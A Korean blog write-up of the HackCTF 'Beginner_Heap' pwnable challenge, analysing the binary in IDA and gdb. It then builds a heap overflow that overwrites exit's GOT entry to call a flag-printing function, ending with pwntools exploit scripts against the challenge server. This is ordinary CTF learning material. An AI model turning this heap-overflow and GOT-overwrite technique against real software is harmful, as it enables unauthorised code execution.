tmxklab
[HackCTF/Pwnable] Beginner_Heap 본문
1. 문제확인
nc ctf.j0n9hyun.xyz 3016
1) 접속
두 번의 입력을 받고 종료됨
2) IDA를 통해 확인
- 확인 결과 main함수와 sub_400826함수가 가장 눈에 띔
- sub_400826은 fla파일을 화면에 출력해주는 함수로 공격목표에 해당함
2-1) IDA(Pseudocode)확인 - main()
- 9~10행 : void형 v3포인터 변수를 16bytes할당해 준 뒤 1을 저장
- 11행 : v3포인터 변수로부터 8bytes떨어진 곳에(QWORD) 8bytes할당
- 12~13행 : void형 v4포인터 변수를 16bytes할당해 준 뒤 2를 저장
- 14행 : v4포인터 변수로부터 8bytes떨어진 곳에(QWORD) 8bytes할당
- 15~16행 : 4096bytes만큼 s변수에 표준입력을 받은 뒤 v3+1에 s변수에 저장된 값을 복사
- 17~18행 : 4096bytes만큼 s변수에 표준입력을 받은 뒤 v4+1에 s변수에 저장된 값을 복사
- 19행 : return이 아닌 exit함수로 프로그램 종료
2-2) IDA(Pseudocode)확인 - sub_400826()
- flag파일의 내용을 화면에 출력
3) $checksec를 통해 elf파일에 걸린 메모리 보호기법 확인
2. 접근방법
아이다를 통해 메인 함수를 확인했을 때 스택 크기보다 큰 4096bytes까지 입력을 받을 수 있는 fgets함수를 통해 bof를 일으켜 rtl공격이 가능한지 확인해보자
또한, 데이터 사이즈를 지정하지 않고 복사할 수 있는 strcpy함수도 bof가 가능하므로 확인해보자
1) 먼저, main함수를 분석하고자 디버깅을 시도
하지만, main함수의 심볼이 없어 확인할 수 없다.
- file명령어를 통해 확인 결과 stripped된 파일임을 확인할 수 있다.
- $file : 파일의 종류를 볼 수 있는 명령어로 특징으로는 확장자가 아닌 파일의 내용을 보고 파일의 종류를 확인할 수 있다. 또한, 파일의 종류뿐만 아니라 다양한 정보를 획득할 수 있다.
- stripped file : 실행파일 내에 심볼 정보가 사라진 파일
- not stripped file : 실행 파일 내에 심볼 정보가 남아있는 파일
- 추가 설명 : 보통 ELF같은 실행파일은 stripped거나 not stripped일 수 있다. not stripped인 경우 디버깅 등을 위한 추가 정보들이 포함되어 있어 디버깅하는데 편리하지만 그 대신 실행크기가 커지는 단점이 존재한다. stripped인 경우 디버깅 등 추가 정보 없이 최소한의 코드만 가지고 있어 디버깅하기에 힘들지만 실행크기가 작아지는 장점이 존재한다.
2) main함수 디버깅
- stripped된 binary파일이므로 심볼 정보가 없어 특정 함수에 대해 확인할 수 없음
- 하지만, $checksec를 통해 확인한 결과 PIE가 걸려있지 않아 Code(Text)영역을 포함한 모든 영역(Data, Stack, Heap, Libc)이 랜덤하게 매핑되지 않으므로 Code(Text)영역에 있는 main함수의 주소가 고정되어 있다.
- 따라서, 아이다를 통해 main함수의 주소를 찾아 해당 주소에 bp를 걸고 디버깅을 시작한다.
- main함수 주소 : 0x4008A8
- 정상적으로 메인함수의 시작 부분을 확인할 수 있다.
이제, fgets를 두 번 실행함으로써 v3+1과 v4+1에 데이터가 복사되므로 v3+1에는 "AAAAAAAA"을 v4+1에는 "BBBBBBBB"을 입력하여 확인해보자
2-1) v3, v3+1
먼저, v3는 [rbp-1020]에 위치하므로 v3의 주소를 확인해보자
- malloc을 통해 메모리 할당을 받고 v3포인터 변수에 1을 저장한다.
- [rbp-0x1020]에는 0x602260이 저장되어 있고 0x602260이 가리키는 곳에는 0x1이 저장되어 있다.
- 위 과정은 v3포인터 변수로부터 8bytes떨어진 곳에(QWORD) 8bytes할당해주는 것
- v3+1는 0x602280이 저장되어 있다.
- fgets()로 "AAAAAAAA"을 입력받아 strcpy()를 통해 v3+1이 가리키는 곳에 저장하는 과정
- 확인 결과 v3+1이 가리키는 곳에 "AAAAAAAA"이 저장된 것을 확인할 수 있다.
2-2) v4, v4+1
위 과정과 동일하게 v4와 v4+1의 주소를 확인
- v4가 가리키는 곳에 2가 저장됨
- v4+1이 가리키는 곳에 "BBBBBBBB"이 저장됨
2-3) 결론
- *v3[rbp-0x1020] : 0x602260 -> 1
- *v3+1 : 0x602280 -> "AAAAAAAA"
- *v4[rbp-0x1010] : 0x6022a0 -> 2
- *v4+1 : 0x6022c0 -> "BBBBBBBB"
3) 중간 점검
- 결론적으로 우리가 실행시켜야 하는 함수는 sub_400826함수이다.
- bof를 통해 rtl을 시도하려 했지만 exit함수를 call하면서 main함수가 종료된다.
- 따라서, exit함수 대신에 sub_400826함수가 실행할 수 있도록 got를 덮어쓰면 되지 않을까 추측
- 그러기 위해 첫 번째 strcpy를 통해 v3+1가 v4+1에 접근하는 주소 값을 바꾸고(v4+1의 주소가 아닌) 두 번째 strcpy를 통해 v4+1에 접근할 때 이전 작업으로 바뀐 주소(exit의 got주소)를 통해 sub_400826함수의 주소를 입력하는 것이다.
4) 포인터 변수들 위치 확인
v3+1에는 "AAAAAAAA", v4+1에는 "BBBBBBBB"을 저장한 후 확인한 결과
- v3으로부터 8bytes떨어진 곳에 v3+1의 주소 값이 있고 v3+1의 주소에는 "AAAAAAAA"이 입력되어 있음, v4와 v4+1도 마찬가지로 형성되어 있음
5) 결론
- 따라서, 첫 번째 strcpy를 통해 v3+1에 할당된 공간보다 더 큰 값을 주어 v4로부터 8bytes떨어진 곳에 v4+1의 주소 대신에 exit()의 got주소를 넣는다.
- 두 번째 strcpy를 통해 exit()의 주소에 sub_400826함수의 주소를 넣는다.
3. 풀이
1) exit함수의 plt, got확인
- exit()의 got 주소 : 0x601068
2) sub_400826함수의 주소 확인
- sub_400826()의 주소 : 0x400826
3) 페이로드 구성
3-1) 첫 번째 strcpy
- v3+1로부터 v4+1전까지 40bytes차이나므로 dummy값 40bytes를 입력한 뒤 v4+1의 위치에 exit()의 got주소를 넣는다.
3-2) 두 번째 strcpy
- v4+1에는 exit()의 got주소가 있으므로 exit()의 got주소로 접근하게 되며 이 때, sub_400826함수의 주소를 넣는다.
4) 디버깅
** 디버깅을 위해 pwntools를 사용하여 gdb에 attach하여 입력 값이 잘 들어갔는지 확인해본다.
** 참고로 우분투 환경에서 진행함
from pwn import *
context.log_level="debug"
p=process('./beginner_heap.bin', aslr=False)
gdb.attach(p)
exit_got = p64(0x601068)
sub_addr = p64(0x400826)
payload = "A"*40
payload += exit_got
p.sendline(payload)
p.sendline(sub_addr)
p.interactive()
* 확인 결과
(참고로 위 코드를 실행하면 gdb가 켜지는데 이 때, 이미 프로그램이 run한 상태이므로 c를 입력해야 payload가 들어간다. 또한, bp를 걸어서 확인할 수 있다.)
- v4+1의 위치에 exit()의 got주소가 들어간 것을 확인하였고, exit()의 got주소에 sub_400826의 주소가 들어간 것을 확인
5) 공격 코드
from pwn import *
context.log_level="debug"
p = remote("ctf.j0n9hyun.xyz", 3016)
exit_adr = p64(0x601068)
sub_adr = p64(0x400826)
payload = "A"*40
payload += exit_adr
p.sendline(payload)
p.sendline(sub_adr)
p.interactive()
6) 공격 실행
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] Gift (0) | 2020.05.18 |
---|---|
[HackCTF/Pwnable] Look at me (0) | 2020.03.07 |
[HackCTF/Pwnable] RTL_Core (0) | 2020.02.23 |
[HackCTF/Pwnable] Random Key (0) | 2020.02.23 |
[HackCTF/Pwnable] 1996 (0) | 2020.02.23 |